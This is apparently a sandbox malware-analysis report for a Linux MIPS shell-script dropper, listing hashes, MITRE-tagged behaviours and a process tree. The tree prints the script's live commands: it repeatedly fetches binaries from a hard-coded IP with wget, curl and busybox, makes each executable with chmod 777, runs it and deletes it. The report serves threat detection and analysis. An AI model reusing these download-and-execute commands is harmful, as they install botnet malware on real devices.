9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607

Analysis

max time kernel
89s
max time network
91s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22/11/2024, 02:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607.sh
Size 10KB
Sample241122-dcawdasrct
SHA256 9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607
MD5 dc0ce8a1a92fcd65e74d86d4f034507f
SHA1 6c5ae4976fa6a4f05d607b9e9ada4f44288bea0a
SHA512 a920736e0bbea5c3db7143178398c9cb41e7f89962c0151dbdd8dbf6cda5c5f8c86d757abcde638eda555f1516b54ace20ec0380ff85e32d1616641ef53cd643
SSDEEP 192:mTXeYIJ7pJK7z3hrPwDHn08beSg7v727rPJy+MksWWeSkarPLrPZy+KksWAeS1r9:1ebOlR
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
832	chmod
964	chmod
850	chmod
874	chmod
838	chmod
934	chmod
820	chmod
928	chmod
862	chmod
886	chmod
811	chmod
856	chmod
868	chmod
916	chmod
732	chmod
904	chmod
910	chmod
922	chmod
940	chmod
958	chmod
970	chmod
880	chmod
898	chmod
892	chmod
946	chmod
952	chmod
826	chmod
844	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA	curl
File opened for modification	/tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm	curl
File opened for modification	/tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj	curl
File opened for modification	/tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH	curl
File opened for modification	/tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH	curl
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	curl
File opened for modification	/tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO	curl
File opened for modification	/tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN	curl
File opened for modification	/tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO	curl
File opened for modification	/tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW	curl
File opened for modification	/tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs	curl
File opened for modification	/tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa	curl
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	curl
File opened for modification	/tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN	curl
File opened for modification	/tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7	curl
File opened for modification	/tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj	curl
File opened for modification	/tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs	curl
File opened for modification	/tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6	curl
File opened for modification	/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	curl
File opened for modification	/tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW	curl
File opened for modification	/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	curl
File opened for modification	/tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA	curl
File opened for modification	/tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9	curl
File opened for modification	/tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm	curl
File opened for modification	/tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9	curl
File opened for modification	/tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa	curl
File opened for modification	/tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6	curl
File opened for modification	/tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7	curl

/tmp/9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607.sh
/tmp/9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607.sh
1⤵
PID:700
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:707
- /usr/bin/wget
  wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:711
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:729
- /bin/chmod
  chmod 777 m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  ./m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Executes dropped EXE
  PID:733
- /bin/rm
  rm m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:735
- /usr/bin/wget
  wget http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:799
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:808
- /bin/chmod
  chmod 777 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  ./0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:813
- /usr/bin/wget
  wget http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:816
- /bin/chmod
  chmod 777 8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  ./8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm 8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:822
- /usr/bin/wget
  wget http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:824
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:825
- /bin/chmod
  chmod 777 4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  ./4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - Executes dropped EXE
  PID:827
- /bin/rm
  rm 4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:828
- /usr/bin/wget
  wget http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  PID:829
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  PID:831
- /bin/chmod
  chmod 777 hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  ./hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  PID:834
- /usr/bin/wget
  wget http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  PID:835
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  PID:837
- /bin/chmod
  chmod 777 kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  ./kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  - Executes dropped EXE
  PID:839
- /bin/rm
  rm kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  PID:840
- /usr/bin/wget
  wget http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  PID:843
- /bin/chmod
  chmod 777 LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  ./LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  PID:846
- /usr/bin/wget
  wget http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  PID:847
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  PID:849
- /bin/chmod
  chmod 777 cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  ./cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  PID:852
- /usr/bin/wget
  wget http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  PID:855
- /bin/chmod
  chmod 777 FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  ./FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  PID:858
- /usr/bin/wget
  wget http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:861
- /bin/chmod
  chmod 777 fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  ./fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:864
- /usr/bin/wget
  wget http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:865
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:867
- /bin/chmod
  chmod 777 aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  ./aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:870
- /usr/bin/wget
  wget http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:871
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:873
- /bin/chmod
  chmod 777 CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  ./CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:876
- /usr/bin/wget
  wget http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:877
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:879
- /bin/chmod
  chmod 777 mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  ./mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:882
- /usr/bin/wget
  wget http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:883
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:885
- /bin/chmod
  chmod 777 mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  ./mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:888
- /usr/bin/wget
  wget http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:891
- /bin/chmod
  chmod 777 fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  ./fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - Executes dropped EXE
  PID:893
- /bin/rm
  rm fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:894
- /usr/bin/wget
  wget http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:895
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:897
- /bin/chmod
  chmod 777 aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  ./aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:900
- /usr/bin/wget
  wget http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:901
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:903
- /bin/chmod
  chmod 777 CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  ./CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:906
- /usr/bin/wget
  wget http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:907
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:909
- /bin/chmod
  chmod 777 mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  ./mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:912
- /usr/bin/wget
  wget http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:915
- /bin/chmod
  chmod 777 mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  ./mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:918
- /usr/bin/wget
  wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:919
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:921
- /bin/chmod
  chmod 777 m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  ./m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:924
- /usr/bin/wget
  wget http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:925
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:926
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:927
- /bin/chmod
  chmod 777 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  ./0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:930
- /usr/bin/wget
  wget http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:931
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:933
- /bin/chmod
  chmod 777 8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  ./8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - Executes dropped EXE
  PID:935
- /bin/rm
  rm 8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:936
- /usr/bin/wget
  wget http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:937
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:938
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:939
- /bin/chmod
  chmod 777 4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  ./4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - Executes dropped EXE
  PID:941
- /bin/rm
  rm 4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:942
- /usr/bin/wget
  wget http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  PID:943
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  PID:945
- /bin/chmod
  chmod 777 hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  ./hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  PID:948
- /usr/bin/wget
  wget http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  PID:949
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:950
- /bin/busybox
